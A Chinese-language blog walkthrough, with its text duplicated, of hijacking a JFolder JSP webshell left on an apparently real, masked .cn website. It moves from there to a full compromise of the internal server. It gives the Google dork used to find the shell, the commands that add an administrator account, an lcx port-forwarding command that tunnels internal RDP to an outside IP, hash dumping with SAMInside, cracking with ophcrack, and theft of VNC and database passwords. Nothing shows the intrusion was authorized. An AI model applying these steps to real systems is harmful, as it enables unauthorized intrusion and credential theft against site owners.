JspWebshell后门的经典利用
2012-07-05 20:58
239 查看
JFolder是流行的JspWebshell后门
(一) JFolder搜索与测试
1.搜索JFloder
JFolder是一款流行的JspWebshell后门,能进行文件管理等操作。在Google中进行定位搜索“filetype:jsp JFolder.jsp”,如图1所示,搜索出多个搜索结果。在这些搜索结果可以看到在第9个和第10个的地址栏中包含有JFolder.jsp。
图1 获取存在JFolder.jsp的页面
2.测试Webshell
单击第9个记录,如图2所示进入JFolder的Webshell界面,在该界面中可以清楚看到“www.hmilyld.cn By Hmilyld修改”字样。在登录密码中输入一些简单密码进行登录测试,测试结果表明该shell采用了自己的密码。在获取这类WebShell的处理时,有两种方法一种是逆向追踪Webshell作者,从作者处获取Webshell,再在Webshell中获取登录密码进行测试;另外一种就是直接对存在Webshell的网站进行渗透测试。
图2 Webshell登录测试
(二) Web渗透测试
1.目录浏览测试
在Webshell地址中去掉Webshell的名称进行浏览,如图3所示,其访问地址为:http://www.******.****.cn/webkey/apps/cms/upload/,回车后可以获取该目录下的所有图片等文件。测试表明该网站对目录权限设置不严格,允许匿名用户自己浏览目录。
图3目录访问测试
2.获取Webshell
依次逐层减少目录进行访问,最终在webkey目录获取一个不用访问密码的Webshell,如图4所示。
图4 获取Webshell
(三)服务器提权
1.上传文件
在获取第一个Webshell后,可以有选择的上传一些文件,例如上传自己使用熟练的Webshell,如图5所示,上传一个Jbrowser的Webshell,另外上传一些常用的工具软件,如samsinside等。
图5上传文件
2.获取网络配置等信息
单击“Launch external program”进入命令执行窗口,在其中输入“ipconfig /all”查看该网络的详细配置情况,如图6所示,该服务器IP地址为172.19.0.45,说明是内网服务器。再在命令窗口分别执行“net user 1 1 /add”和“net localgroup administrators 1 /add”命令,添加一个管理员用户“1”,密码为“1”。
图6获取网络配置信息
3.内网映射
将端口映射程序lcx.exe上传到系统盘windows目录中,然后在命令执行窗口执行“C:\windows\lcx.exe –slave 202.102.***.** 51 172.19.0.45 3389”,将IP地址为172.19.0.45的内网服务器的3389端口,转发到具有外网独立IP地址为202.102.***.**的服务器的51端口,如图7所示,命令执行成功后会显示连接信息。由于未在202.102.***.**上进行监听,所以出现连接错误。
图7内网映射
在外网服务器上执行“lcx –listen 51 2008”命令,如图8所示,执行成功后会出现一连串的接受和发送数据,表明连接建立成功。
图8 成功建立连接通道
4.登录服务器
单击“开始”-“运行”,在其中输入“mstsc”,打开远程终端连端,在计算机中输入连接地址“127.0.0.1:2008”,出现连接界面后输入用户名和密码,成功登录服务器,如图9所示。
图9 登录服务器
5.获取服务器密码
将saminside.rar压缩文件解压到本地,然后双击saminside.exe文件运行saminside,如图10所示,单击三个小人的图表,在出现的列表中选择“Import Local using Scheduler”,接着程序就会自动获取服务器中的用户密码等信息。
图10 运行saninside获取服务器密码
一般20秒左右,saminside程序会将系统中存在的可以获取密码用户的相关信息读取出来,如图11所示,可以看到有5个用户信息,其中用户“1”密码比较简单直接读取出来,其余密码设置较为复杂,其信息显示在saminside的信息表中,分别选中user中的复选框,在菜单中单击“File”-“Export users in PWDUMP file”,导出密码文件到指定的文件中。
图11导出用户密码
6.快速破解服务器密码
整理刚才“Export users in PWDUMP file”的文件,本案例中仅仅选择“administrator”用户的记录,清理无用信息后打开ophcrack,将其load进去,如图12,单击Crack进行破解,不到2分钟该密码就被破解出来了。
图12破解服务器密码
(四)其它信息获取
1.读取VPC密码
使用刚才破解的密码重新登录系统,登录系统后,在该系统中安装了VNC远程管理软件,直接上传一个VNCPassView软件,运行后即可读取其密码,如图13所示。
图13 获取VNC密码
2.获取数据库密码
通过查看各个磁盘的内容,在E盘发现有网站的备份文件,如图14所示,其中的“数据库.txt”文件记录了数据库服务器(172.19.0.27)的用户名和登录密码。
图14 获取数据库密码
(五)总结和讨论
(1)快速密码获取。在添加一个管理员用户的情况后,通过端口映射登录系统后,通过上传saminside,可以在1分钟内快速获取服务器中原有用户的密码hash。获取系统hash后通过ophcrack又可以快速破解,从而获取原有系统的用户密码。
(2)在获取原有系统的用户名和密码后,使用其登录系统,通过一些工具软件可以快速获取系统中一些有用信息。
(3)在外网仅仅开放80端口,如果Web程序部署和编写存在漏洞,通过端口映射等手段完全可以渗透进入内网,在突破第一道防线后,再对内网进行渗透就容易多了。
(4)saminside和gethashes等工具在用户密码过长的情况下是无法获取的,只能使用特殊的方法来获取。
(一) JFolder搜索与测试
1.搜索JFloder
JFolder是一款流行的JspWebshell后门,能进行文件管理等操作。在Google中进行定位搜索“filetype:jsp JFolder.jsp”,如图1所示,搜索出多个搜索结果。在这些搜索结果可以看到在第9个和第10个的地址栏中包含有JFolder.jsp。
图1 获取存在JFolder.jsp的页面
2.测试Webshell
单击第9个记录,如图2所示进入JFolder的Webshell界面,在该界面中可以清楚看到“www.hmilyld.cn By Hmilyld修改”字样。在登录密码中输入一些简单密码进行登录测试,测试结果表明该shell采用了自己的密码。在获取这类WebShell的处理时,有两种方法一种是逆向追踪Webshell作者,从作者处获取Webshell,再在Webshell中获取登录密码进行测试;另外一种就是直接对存在Webshell的网站进行渗透测试。
图2 Webshell登录测试
(二) Web渗透测试
1.目录浏览测试
在Webshell地址中去掉Webshell的名称进行浏览,如图3所示,其访问地址为:http://www.******.****.cn/webkey/apps/cms/upload/,回车后可以获取该目录下的所有图片等文件。测试表明该网站对目录权限设置不严格,允许匿名用户自己浏览目录。
图3目录访问测试
2.获取Webshell
依次逐层减少目录进行访问,最终在webkey目录获取一个不用访问密码的Webshell,如图4所示。
图4 获取Webshell
(三)服务器提权
1.上传文件
在获取第一个Webshell后,可以有选择的上传一些文件,例如上传自己使用熟练的Webshell,如图5所示,上传一个Jbrowser的Webshell,另外上传一些常用的工具软件,如samsinside等。
图5上传文件
2.获取网络配置等信息
单击“Launch external program”进入命令执行窗口,在其中输入“ipconfig /all”查看该网络的详细配置情况,如图6所示,该服务器IP地址为172.19.0.45,说明是内网服务器。再在命令窗口分别执行“net user 1 1 /add”和“net localgroup administrators 1 /add”命令,添加一个管理员用户“1”,密码为“1”。
图6获取网络配置信息
3.内网映射
将端口映射程序lcx.exe上传到系统盘windows目录中,然后在命令执行窗口执行“C:\windows\lcx.exe –slave 202.102.***.** 51 172.19.0.45 3389”,将IP地址为172.19.0.45的内网服务器的3389端口,转发到具有外网独立IP地址为202.102.***.**的服务器的51端口,如图7所示,命令执行成功后会显示连接信息。由于未在202.102.***.**上进行监听,所以出现连接错误。
图7内网映射
在外网服务器上执行“lcx –listen 51 2008”命令,如图8所示,执行成功后会出现一连串的接受和发送数据,表明连接建立成功。
图8 成功建立连接通道
4.登录服务器
单击“开始”-“运行”,在其中输入“mstsc”,打开远程终端连端,在计算机中输入连接地址“127.0.0.1:2008”,出现连接界面后输入用户名和密码,成功登录服务器,如图9所示。
图9 登录服务器
5.获取服务器密码
将saminside.rar压缩文件解压到本地,然后双击saminside.exe文件运行saminside,如图10所示,单击三个小人的图表,在出现的列表中选择“Import Local using Scheduler”,接着程序就会自动获取服务器中的用户密码等信息。
图10 运行saninside获取服务器密码
一般20秒左右,saminside程序会将系统中存在的可以获取密码用户的相关信息读取出来,如图11所示,可以看到有5个用户信息,其中用户“1”密码比较简单直接读取出来,其余密码设置较为复杂,其信息显示在saminside的信息表中,分别选中user中的复选框,在菜单中单击“File”-“Export users in PWDUMP file”,导出密码文件到指定的文件中。
图11导出用户密码
6.快速破解服务器密码
整理刚才“Export users in PWDUMP file”的文件,本案例中仅仅选择“administrator”用户的记录,清理无用信息后打开ophcrack,将其load进去,如图12,单击Crack进行破解,不到2分钟该密码就被破解出来了。
图12破解服务器密码
(四)其它信息获取
1.读取VPC密码
使用刚才破解的密码重新登录系统,登录系统后,在该系统中安装了VNC远程管理软件,直接上传一个VNCPassView软件,运行后即可读取其密码,如图13所示。
图13 获取VNC密码
2.获取数据库密码
通过查看各个磁盘的内容,在E盘发现有网站的备份文件,如图14所示,其中的“数据库.txt”文件记录了数据库服务器(172.19.0.27)的用户名和登录密码。
图14 获取数据库密码
(五)总结和讨论
(1)快速密码获取。在添加一个管理员用户的情况后,通过端口映射登录系统后,通过上传saminside,可以在1分钟内快速获取服务器中原有用户的密码hash。获取系统hash后通过ophcrack又可以快速破解,从而获取原有系统的用户密码。
(2)在获取原有系统的用户名和密码后,使用其登录系统,通过一些工具软件可以快速获取系统中一些有用信息。
(3)在外网仅仅开放80端口,如果Web程序部署和编写存在漏洞,通过端口映射等手段完全可以渗透进入内网,在突破第一道防线后,再对内网进行渗透就容易多了。
(4)saminside和gethashes等工具在用户密码过长的情况下是无法获取的,只能使用特殊的方法来获取。
相关文章推荐
- 如何利用xml文件部署jsp项目
- 利用JFreeChart生成多轴图表(7) (转自 JSP开发技术大全)
- jsp实现利用hadoop的HDFS存储图片
- 九种经典的Webshell提权技术
- jsp利用超链接传参时自带浏览器可以实现跳转而其他浏览器不能
- 利用JavaScript在JSP页面上显示一个钟表,简单。
- Jsp+Servlet+JavaBean经典MVC模式理解
- 利用JSP建立Web站点
- 在jsp中利用jspsmartupload实现上传文件
- 利用tomcat搭建jsp开源内容管理系统 推荐
- 从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器
- 利用军刀打造成自己的后门-转
- 利用JSP建立Web站点
- servlet&jsp经典总结
- Tomcat+JSP经典配置实例
- 十个利用矩阵乘法解决的经典题目--Matrix67
- Tomcat+JSP经典配置实例
- Tomcat JSP经典配置实例
- 开源Webshell利用工具——Altman
- 利用iText在JSP中生成PDF报表